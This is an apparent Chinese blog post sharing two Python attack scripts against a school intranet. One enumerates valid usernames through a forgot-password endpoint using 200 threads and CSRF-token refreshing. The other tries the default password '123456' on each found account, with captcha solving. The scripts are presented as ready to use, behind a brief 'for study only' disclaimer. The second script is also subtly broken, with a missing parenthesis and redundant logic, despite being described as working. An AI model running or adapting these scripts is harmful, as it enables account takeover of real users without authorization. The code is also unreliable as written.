本文仅供学习交流使用,其他用途与作者无关

前言

最近在学校内网瞎搞,就有了这个脚本,一个用来爆破用户名,另一个用来爆破默认密码。

验证码识别用的是腾讯云的OCR,不过也可以手动打码。

脚本

安装依赖: pip install requests bs4 lxml

爆破用户名

爆破入口

存在的用户名会保存在 users.txt

#!/usr/bin/python3
from json import dumps
from requests import session
import threading
from bs4 import BeautifulSoup
import requests
requests.packages.urllib3.disable_warnings()
# 爆破起始ID
uid = 0
# 爆破结束ID
ends = 30000
# 爆破入口(忘记密码页面)
target = 'https://xxxx/forget/security'
HEADERS = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate', 'content-type': 'application/x-www-form-urlencoded', 'charset': 'UTF-8',
           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}
# 输出文件为 `users.txt`
outf = open('users.txt', 'a', encoding='utf-8')
def get_id():
    global uid
    raw = str(uid).rjust(4, '0')
    uid += 1
    return raw if uid <= ends else None
class Boomer(threading.Thread):
    def __init__(self, i):
        self.i = i
        self.ss = session()
        self.headers = HEADERS.copy()
        self.headers['x-requested-with'] = 'XMLHttpRequest'
        self.flash_token()

        threading.Thread.__init__(self)
    def flash_token(self):
        '''刷新token'''
        r = self.ss.get(target, headers=HEADERS, verify=False)
        r.encoding = 'utf-8'
        soup = BeautifulSoup(r.text, 'lxml')
        t = soup.select_one(
            '#forget-security-form > input[type=hidden]:nth-child(1)')
        tk = t.get('value') if t else None
        self.headers['x-csrf-token'] = tk
        if tk == None:
            print('error')
        self.ss.headers = self.headers
    def run(self):
        print(f'{self.i} 开始')
        user = get_id()
        while user:
            result = self.check_user(user)
            if result:
                print(f'{user} 用户存在')
                outf.write(f'{user} 用户存在\n')
                outf.flush()
            else:
                print(f'{user} 用户不存在')
            user = get_id()
        print(f'{self.i} 退出')
    def check_user(self, uid):
        error = 0
        jd = {}
        while error < 5:
            try:
                data = {'user_name': uid}
                r = self.ss.post(target, data=data, verify=False)
                r.encoding = 'utf-8'
                jd = r.json()
                break
            except Exception:
                self.flash_token()
                error += 1
        if 'question_id' in jd:
            msg = '该账号未设置密保!'
        else:
            msg = jd.get('msg') if jd else None
        if not msg:
            with open(f'{self.i}.html', 'w') as f:
                f.write(dumps(jd))
                print('未知错误')
        return msg == '该账号未设置密保!'
def main():
    threads = []
    # 200是线程数量,可以自行调整
    for i in range(0, 200):
        t = Boomer(i)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()
    outf.close()
if __name__ == "__main__":
    main()

爆破默认密码

爆破入口

用户名文件为 users.txt,结果保存在 result.txt

#!/usr/bin/python3
from urllib.parse import urljoin
from requests import session
import threading
from re import findall
from bs4 import BeautifulSoup
# 调用腾讯云的验证码识别接口
# from tencen2 import get_tencent_reg
# 默认口令
passwd = '123456'
# 爆破入口(登陆页面)
target = 'https://xxxx/'
headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',
           'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}
# 输入输出文件
inf = open('users.txt', 'r', encoding='utf-8')
outf = open('result.txt', 'w', encoding='utf-8')
def get_id():
    try:
        line = inf.readline()
        i,  *_ = line.split()
        return i
    except:
        return None
found = True
while not found:
    found = '' in get_id()
class Boomer(threading.Thread):
    def __init__(self, i):
        self.i = i
        self.ss = session()
        self.ss.headers = headers
        threading.Thread.__init__(self
    def run(self):
        print(f'{self.i} 开始')
        user = get_id()
        while user:
            result=check_pass(user, passwd, self.ss)
            # 尝试登陆两次(验证码识别率不高)
            if result:
                print(f'{user} 成功')
                outf.write(f'{user} 成功\n')
            else:
                if result:
                    print(f'{user} 成功')
                    outf.write(f'{user} 成功\n')
            user = get_id()
        print(f'{self.i} 退出')
def check_pass(user: str, passwd: str, ss: session):
    def get_token(soup: BeautifulSoup) -> str:
        '''获取token'''
        token = soup.select_one('#login-form > input[type=hidden]')
        return token.get('value') if token else None
    def get_chapter(soup: BeautifulSoup) -> str:
        '''获取验证码链接'''
        chapter = soup.select_one('#loginform-verifycode-image')
        return chapter.get('src') if chapter else None
    r = ss.get(target, verify=False)
    r.encoding = 'utf-8'
    soup = BeautifulSoup(r.text, 'lxml')
    token = get_token(soup)
    chapter = get_chapter(soup)
    while True:
        url = urljoin(target, chapter)# 验证码图片地址
        with open('yzm.png', 'wb') as f:
            r = ss.get(url, verify=False)
            f.write(r.content)
        # 如果要使用腾讯云OCR的话修改这里就行
        print('请输入验证码:')
        yzm = input()
        # yzm = (get_tencent_reg('yzm.png') or [''])[0] 
        yzm =''.join(findall(r'[A-Za-z0-9]',str(yzm)))
        if len(yzm)==4:
            break
        else:
            print(f'验证码识别有误 {yzm}')
    data = {'_csrf-8800': token,
            'LoginForm[username]': user,
            'LoginForm[password]': passwd,
            'LoginForm[verifyCode]': yzm,
            'login-button': ''}
    r = ss.post(target, data=data, verify=False)
    r.encoding = 'utf-8'
    result = '修改密码' in str(r.text)
    print(user,yzm,'成功' if result else '失败')
    return result
def main():
    threads = []
    # for i in range(0, 10):
    # 改成了单线程操作
    t = Boomer(1)
    t.start()
    threads.append(t)
    for t in threads:
        t.join()
    inf.close()
    outf.close()
if __name__ == "__main__":
    main()

PS:因为测试了几个账号,都没有修改默认密码,加上每小时只能试50条的限制,这个脚本没有真正使用过,不过功能是正常的。

执行效果

users.txt

配合第二个脚本就可以快速筛选出使用默认密码的账号了

最后修改:2020 年 12 月 26 日
Null